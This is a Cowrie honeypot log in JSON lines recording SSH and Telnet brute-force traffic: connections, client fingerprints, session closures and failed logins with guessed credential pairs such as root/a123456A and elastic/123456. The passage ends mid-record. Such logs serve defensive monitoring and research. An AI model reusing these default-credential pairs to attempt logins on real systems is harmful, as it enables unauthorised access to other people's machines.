{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:30.147194Z","src_ip":"176.65.132.129","session":"f07e44aa55c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60434,"dst_ip":"10.17.0.5","dst_port":23,"session":"564046b1a2e8","protocol":"telnet","message":"New connection: 45.58.127.90:60434 (10.17.0.5:23) [session: 564046b1a2e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:30.168627Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:31.232187Z","src_ip":"176.65.132.129","session":"f07e44aa55c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":51858,"dst_ip":"159.203.135.109","dst_port":22,"session":"29b0c1d8ac24","protocol":"ssh","message":"New connection: 172.237.20.62:51858 (159.203.135.109:22) [session: 29b0c1d8ac24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:32.629044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:32.633326Z","src_ip":"172.237.20.62","session":"29b0c1d8ac24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:32.796135Z","src_ip":"172.237.20.62","session":"29b0c1d8ac24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42138,"dst_ip":"159.203.135.109","dst_port":22,"session":"060e4b6f1f39","protocol":"ssh","message":"New connection: 176.65.132.129:42138 (159.203.135.109:22) [session: 060e4b6f1f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:33.218933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:33.223495Z","src_ip":"176.65.132.129","session":"060e4b6f1f39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:33.301766Z","src_ip":"172.237.20.62","session":"29b0c1d8ac24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:33.309671Z","src_ip":"176.65.132.129","session":"060e4b6f1f39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:33.556390Z","src_ip":"176.65.132.129","session":"060e4b6f1f39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60446,"dst_ip":"10.17.0.5","dst_port":23,"session":"4228789501b0","protocol":"telnet","message":"New connection: 45.58.127.90:60446 (10.17.0.5:23) [session: 4228789501b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:33.845328Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37898,"dst_ip":"10.17.0.5","dst_port":23,"session":"81e921e3c3aa","protocol":"telnet","message":"New connection: 45.58.127.90:37898 (10.17.0.5:23) [session: 81e921e3c3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:34.454391Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:34.472953Z","src_ip":"172.237.20.62","session":"29b0c1d8ac24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:34.671623Z","src_ip":"176.65.132.129","session":"060e4b6f1f39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46178,"dst_ip":"159.203.135.109","dst_port":22,"session":"a19bbfeb827e","protocol":"ssh","message":"New connection: 176.65.132.129:46178 (159.203.135.109:22) [session: a19bbfeb827e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:36.554264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:36.558609Z","src_ip":"176.65.132.129","session":"a19bbfeb827e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:36.641557Z","src_ip":"176.65.132.129","session":"a19bbfeb827e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:37.099571Z","src_ip":"176.65.132.129","session":"a19bbfeb827e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.084805727005005,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:37.539084Z","src_ip":"45.58.127.90","session":"81e921e3c3aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:38.184378Z","src_ip":"176.65.132.129","session":"a19bbfeb827e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46180,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d5a3a29e94f","protocol":"ssh","message":"New connection: 176.65.132.129:46180 (159.203.135.109:22) [session: 5d5a3a29e94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:39.983861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:39.988667Z","src_ip":"176.65.132.129","session":"5d5a3a29e94f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:40.070953Z","src_ip":"176.65.132.129","session":"5d5a3a29e94f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:40.318215Z","src_ip":"176.65.132.129","session":"5d5a3a29e94f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.830506801605225,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:41.340234Z","src_ip":"45.58.127.90","session":"74774ad4e2a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:41.409504Z","src_ip":"176.65.132.129","session":"5d5a3a29e94f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.71149563789368,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:42.848814Z","src_ip":"45.58.127.90","session":"3d46a65922bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46188,"dst_ip":"159.203.135.109","dst_port":22,"session":"87573b9e69f1","protocol":"ssh","message":"New connection: 176.65.132.129:46188 (159.203.135.109:22) [session: 87573b9e69f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:43.267980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:43.272941Z","src_ip":"176.65.132.129","session":"87573b9e69f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:43.355489Z","src_ip":"176.65.132.129","session":"87573b9e69f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":54276,"dst_ip":"159.203.135.109","dst_port":22,"session":"5622405fdfcc","protocol":"ssh","message":"New connection: 172.237.20.62:54276 (159.203.135.109:22) [session: 5622405fdfcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:43.566347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:43.571296Z","src_ip":"172.237.20.62","session":"5622405fdfcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:43.605239Z","src_ip":"176.65.132.129","session":"87573b9e69f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:43.732814Z","src_ip":"172.237.20.62","session":"5622405fdfcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:44.253877Z","src_ip":"172.237.20.62","session":"5622405fdfcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:44.690614Z","src_ip":"176.65.132.129","session":"87573b9e69f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:45.420482Z","src_ip":"172.237.20.62","session":"5622405fdfcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56078,"dst_ip":"159.203.135.109","dst_port":22,"session":"762fc739af4b","protocol":"ssh","message":"New connection: 176.65.132.129:56078 (159.203.135.109:22) [session: 762fc739af4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:46.557676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:46.595589Z","src_ip":"176.65.132.129","session":"762fc739af4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:46.778081Z","src_ip":"176.65.132.129","session":"762fc739af4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:47.038127Z","src_ip":"176.65.132.129","session":"762fc739af4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:48.122436Z","src_ip":"176.65.132.129","session":"762fc739af4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39144,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd2109a1e108","protocol":"telnet","message":"New connection: 45.58.127.90:39144 (10.17.0.5:23) [session: cd2109a1e108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:49.846217Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56090,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8d184808e3e","protocol":"ssh","message":"New connection: 176.65.132.129:56090 (159.203.135.109:22) [session: e8d184808e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:50.001016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:50.005681Z","src_ip":"176.65.132.129","session":"e8d184808e3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa